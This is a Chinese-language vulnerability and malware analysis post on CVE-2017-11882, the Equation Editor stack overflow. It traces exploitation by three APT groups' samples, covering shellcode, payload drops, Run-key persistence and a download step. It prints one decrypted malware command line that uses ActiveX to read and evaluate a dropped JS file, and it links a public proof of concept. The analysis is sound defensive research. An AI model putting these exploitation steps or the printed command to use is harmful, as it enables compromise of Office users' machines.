CVE-2017-11882及利用样本分析

CVE-2017-11882及利用样本分析

原创 复眼小组 [Gcow安全团队](javascript:void(0) 今天

CVE-2017-11882及利用样本分析

1.本文由复眼小组ERFZE师傅原创2.本文略微偏向基础,首先介绍了该漏洞的成因,并且分析了该漏洞在蔓灵花,摩诃草,响尾蛇APT组织用于实际攻击活动中的详细调试过程3.本文全文字数共2234字,图片95张 预计阅读时间14分钟

0x01 漏洞描述

成因:Windows的公式编辑器EQNEDT32.EXE读入包含MathType的OLE数据,在拷贝公式字体名称时没有对名称长度进行校验,使得攻击者可以通过刻意构造的数据内容覆盖栈上的函数返回地址,从而劫持程序流程。•影响版本:Microsoft Office 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1, Microsoft Office 2016•POC:https://github.com/Ridter/CVE-2017-11882

0x02 漏洞分析

笔者复现及分析环境:Windows 7 Service Pack 1、Microsoft Office 2010、x32dbg、IDA 7.0

EQUATION.exe存在:

CVE-2017-11882及利用样本分析_第1张图片

图片1 Equation.exe

设置注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE

CVE-2017-11882及利用样本分析_第2张图片

图片2 regedit.exe

Debugger键值为x32dbg路径。

生成POC:

img

图片3 POC

打开该文档,于WinExec()函数处设断:

CVE-2017-11882及利用样本分析_第3张图片

图片4 WinExec

成功断下后,查看栈中返回地址:

CVE-2017-11882及利用样本分析_第4张图片

图片5 ReturnAdd

继续向上查看栈,发现调用WinExec()的函数:

CVE-2017-11882及利用样本分析_第5张图片

图片6 Stack

通过IDA分析sub_4115A7功能:

CVE-2017-11882及利用样本分析_第6张图片

图片7 IDA

跟进sub_41160F查看:

CVE-2017-11882及利用样本分析_第7张图片

图片8 sub41160F

未校验长度,直接使用strcpy()函数,此处应该就是漏洞触发位置。进一步确定具体位置:

CVE-2017-11882及利用样本分析_第8张图片

图片9 strcpy

0x411658处设断,重新运行。第二次成功断下后,查看ESI寄存器指向内存内容:

CVE-2017-11882及利用样本分析_第9张图片

图片10 ESI

此时ECX寄存器值为0xC,即复制48个字节到EDI寄存器指向内存,而var_28实际大小只有36个字节:

CVE-2017-11882及利用样本分析_第10张图片

图片11 EDI

到达函数结束处:

CVE-2017-11882及利用样本分析_第11张图片

图片12 FunEnd

leave指令执行完毕后,栈顶0x18F1D0处值为0x430C12,即调用WinExec()。而传递参数正是0x18F350指向内存中的cmd指令:

img

图片13 shellcode

成功弹出计算器:

CVE-2017-11882及利用样本分析_第12张图片

图片14 calc.exe


下面对使用到的POC进行简要分析。各变量含义由命名可知,RTF文档格式并非本文重点,如读者此前对RTF文档格式没有了解,建议先阅读文末参考链接中有关RTF文档格式的文章后再看POC源码。

CVE-2017-11882及利用样本分析_第13张图片

图片15 RTF

首先判断命令长度是否小于43,而43这个数字是因为:

CVE-2017-11882及利用样本分析_第14张图片

图片16 CmdLen

上图选中部分是插入命令处,具体偏移由POC中COMMAND_OFFSET(0x949*2)变量给出。

将命令插入到构造数据中之后,函数返回拼接好的OLE。下面将OLE嵌入到RTF文档中:

CVE-2017-11882及利用样本分析_第15张图片

图片17 OLE

0x03 摩诃草(APT-C-09)组织某样本分析

MD5:0D38ADC0B048BAB3BD91861D42CD39DF

0x411658处设断,在第二次断下时,各寄存器值如下:

CVE-2017-11882及利用样本分析_第16张图片

图片18 register

继续执行到函数结束处leave指令:

CVE-2017-11882及利用样本分析_第17张图片

图片19 leave

0x18F230地址处值0x430C47即覆盖后的函数返回地址:

img

图片20 FunReturn

而该地址处指令是ret,有些出乎意料。继续向下执行,来到0x18F3B0处,正是0x18F234地址处值:

CVE-2017-11882及利用样本分析_第18张图片

图片21 ret

这方才是构造者意欲执行的指令。经过蓝色方框中的一系列运算后,EBX指向是真正的Shellcode:

CVE-2017-11882及利用样本分析_第19张图片

图片22 shellcode

上述内容均可在OLE中查看(路径\xl\embeddings):

img

图片23 OLE

CVE-2017-11882及利用样本分析_第20张图片

图片24 OLE

将OLE0x10000x1520中数据复制到一bin文件后,通过IDA查看。sub_247功能如下:

CVE-2017-11882及利用样本分析_第21张图片

图片25 IDA

该函数接受的第二个参数即上文提到的EBX指向地址,于OLE中位置是0x1040,而0x1040+0x558处内容如下:

CVE-2017-11882及利用样本分析_第22张图片

图片26 PE

故该函数第一个功能是修正PE文件头。第二个功能流程如下:

CVE-2017-11882及利用样本分析_第23张图片

图片27 PEWrite

img

图片28 PEWrite

CVE-2017-11882及利用样本分析_第24张图片

图片29 PEWrite

CVE-2017-11882及利用样本分析_第25张图片

图片30 PEWrite

0x1040+0x558后的PE文件数据写入到%APPDATA%\MSBuild.exe中。第三个功能流程如下:

CVE-2017-11882及利用样本分析_第26张图片图片31 RegeditWrite

CVE-2017-11882及利用样本分析_第27张图片图片32 RegeditWrite

CVE-2017-11882及利用样本分析_第28张图片图片33 RegeditWrite

%APPDATA%\MSBuild.exe写入注册表run项键值lollipop中。

0x04 响尾蛇(SideWinder)组织某样本分析

将文档拖进WinHex查看:

CVE-2017-11882及利用样本分析_第29张图片

图片34 WinHex

可以看出该文档实质是一RTF格式文档。

rtfobj.py分析如下:

CVE-2017-11882及利用样本分析_第30张图片

图片35 rtfobj

Package后文会提到,先来看其CVE-2017-11882利用部分。

同样是第二次断下时:

CVE-2017-11882及利用样本分析_第31张图片

图片36 break

其后的执行流程与上一样本相似:

CVE-2017-11882及利用样本分析_第32张图片

图片37 leave

CVE-2017-11882及利用样本分析_第33张图片

图片38 ret

经过绿色方框中的一系列运算后,调用GlobalLock()函数,传递参数如下:

CVE-2017-11882及利用样本分析_第34张图片

图片39 GlobalLock

接下来跳转到GlobalLock()函数返回内存区域中:

CVE-2017-11882及利用样本分析_第35张图片

图片40 jmp

经过两次call调用:

CVE-2017-11882及利用样本分析_第36张图片

图片41 call

CVE-2017-11882及利用样本分析_第37张图片

图片42 call

修正内存中的字符串:

CVE-2017-11882及利用样本分析_第38张图片

图片43 EditString

接下来寻址kernel32.dll

CVE-2017-11882及利用样本分析_第39张图片

图片44 kernel32

其所调用的函数功能如下:

CVE-2017-11882及利用样本分析_第40张图片

图片45 sub298

两次call调用之后:

CVE-2017-11882及利用样本分析_第41张图片

图片46 call

CVE-2017-11882及利用样本分析_第42张图片

图片47 call

其功能为返回某函数调用地址,此次是LoadLibrayW()

CVE-2017-11882及利用样本分析_第43张图片

图片48 LoadLibrary

CVE-2017-11882及利用样本分析_第44张图片

图片49 Loadlibrary

接下来,返回GetProcAddress()调用地址:

CVE-2017-11882及利用样本分析_第45张图片

图片50 GetProcAddress

CVE-2017-11882及利用样本分析_第46张图片

图片51 GetProcAddress

继续call调用:

CVE-2017-11882及利用样本分析_第47张图片

图片52 call

其后流程如图所示:

CVE-2017-11882及利用样本分析_第48张图片

图片53 GetCommandLine

CVE-2017-11882及利用样本分析_第49张图片

图片54 GetCommandLine

CVE-2017-11882及利用样本分析_第50张图片

图片55 call

下面将字符串解密,并覆盖原CommandLine内容:

CVE-2017-11882及利用样本分析_第51张图片

图片56 DecryptStr

CVE-2017-11882及利用样本分析_第52张图片

图片57 DecryptStr

执行完结果如下:

CVE-2017-11882及利用样本分析_第53张图片

图片58 StrResult

最后实际执行部分:

javascript:eval("sa=ActiveXObject;ab=new sa(\"Scripting.FileSystemObject\");eval(ab.OpenTextFile(ab.GetSpecialFolder(2)+\"\\\\1.a\",1).ReadAll());windowclose()")

其后调用RunHTMLApplication()

CVE-2017-11882及利用样本分析_第54张图片

图片59 RunHTMLApplicaton

CVE-2017-11882及利用样本分析_第55张图片

图片60 RunHTMLApplicaton

CVE-2017-11882及利用样本分析_第56张图片图片61 RunHTMLApplicaton图片60 RunHTMLApplicaton图片60 RunHTMLApplicaton

CVE-2017-11882及利用样本分析_第57张图片图片62 RunHTMLApplicaton图片60 RunHTMLApplicaton

CVE-2017-11882及利用样本分析_第58张图片图片63 RunHTMLApplicaton

1.a就是之前提到RTF文档中的Package,其实质是一JS文件:

CVE-2017-11882及利用样本分析_第59张图片图片64 JS

CVE-2017-11882及利用样本分析_第60张图片图片65 JS

最后,其执行结果大体如下图所示:

CVE-2017-11882及利用样本分析_第61张图片图片66 result

0x05 蔓灵花(Bitter)组织某样本分析

通过远程模板注入的方式下载一RTF格式文档:

CVE-2017-11882及利用样本分析_第62张图片

图片67 downloadRTF

拖进WinHex查看,可以确认其格式为RTF文档格式:

CVE-2017-11882及利用样本分析_第63张图片

图片68 Winhex

添加文件扩展名后,打开该文档。同样是于于0x411658处第二次断下时:

CVE-2017-11882及利用样本分析_第64张图片

图片69 breakpoint

CVE-2017-11882及利用样本分析_第65张图片

图片70 ret

CVE-2017-11882及利用样本分析_第66张图片

图片71 shellcode

跳转之后经过绿色方框中一系列计算,接着跳转:

CVE-2017-11882及利用样本分析_第67张图片

图片72 jmp

fldpi将π的值加载到FPU堆栈:

CVE-2017-11882及利用样本分析_第68张图片

图片73 fldpi

执行完后fpu_instruction_pointer指向fldpi指令,其后的fnstenv指令将FpuSaveState结构体保存到esp-0xC处:

CVE-2017-11882及利用样本分析_第69张图片

图片74 fnstenv

如此一来,pop ebp后EBP寄存器的值是fpu_instruction_pointer——fldpi指令位置:

CVE-2017-11882及利用样本分析_第70张图片

图片75 EBP

由EBP计算出需要解密的数据起始位置,EDX中存储的是数据长度(0x315):

CVE-2017-11882及利用样本分析_第71张图片

图片76 Decrypt

接着执行解密后的指令:

CVE-2017-11882及利用样本分析_第72张图片

图片77 Execute

CVE-2017-11882及利用样本分析_第73张图片

图片78 Execute

跳转后,执行相应指令,接下来call调用:

CVE-2017-11882及利用样本分析_第74张图片

图片79 call

sub_562B2F功能是获取指定的系统函数调用地址,此次是kernel32.VirtualAlloc()

CVE-2017-11882及利用样本分析_第75张图片

图片80 ReturnVirtualAddr

CVE-2017-11882及利用样本分析_第76张图片

图片81 ReturnVirtualAddr

之后调用VirtualAlloc()申请内存空间:

CVE-2017-11882及利用样本分析_第77张图片

图片82 VirtualAlloc

向申请的内存空间中写入数据:

CVE-2017-11882及利用样本分析_第78张图片

图片83 WriteMem

调用sub_562B2F获取kernel32.Wow64DisableWow64FsRedirection()调用地址:

CVE-2017-11882及利用样本分析_第79张图片

图片84 ReturnWow64DisableWow64FsRedirectionAddr

LoadLibrary(shell32)

CVE-2017-11882及利用样本分析_第80张图片

图片85 LoadLibrary(shell32)

传递参数给sub_562B2F,获取shell32.ShellExcute()调用地址:

CVE-2017-11882及利用样本分析_第81张图片

图片86 ReturnShellExcuteAddr

CVE-2017-11882及利用样本分析_第82张图片

图片87 ReturnShellExcuteAddr

LoadLibrary(urlmon)

CVE-2017-11882及利用样本分析_第83张图片

图片88 LoadLibrary(urlmon)

获取urlmon.URLDownloadToFile()调用地址:

CVE-2017-11882及利用样本分析_第84张图片

图片89 ReturnURLDownloadToFileAddr

CVE-2017-11882及利用样本分析_第85张图片

图片90 ReturnURLDownloadToFileAddr

调用URLDownloadToFile(),其传递参数如图:

CVE-2017-11882及利用样本分析_第86张图片

图片91 URLDownloadToFile

CVE-2017-11882及利用样本分析_第87张图片

图片92 URLDownloadToFile

读取文件:

CVE-2017-11882及利用样本分析_第88张图片

图片93 CreateFile

CVE-2017-11882及利用样本分析_第89张图片

图片94 ReadFile

由于没有获取到文件,计算出的EBX值错误:

CVE-2017-11882及利用样本分析_第90张图片

图片95 End

故至此结束。

0x06 参考链接

Office恶意文件解析与混淆研究 -https://zhuanlan.zhihu.com/p/31345299•https://github.com/Ridter/CVE-2017-11882•Office文件格式基础知识 -https://www.anquanke.com/post/id/175548

转载自https://mp.weixin.qq.com/s/8hmhO2u2Fclv2NoU6QAAmg

你可能感兴趣的:(新增漏洞报告)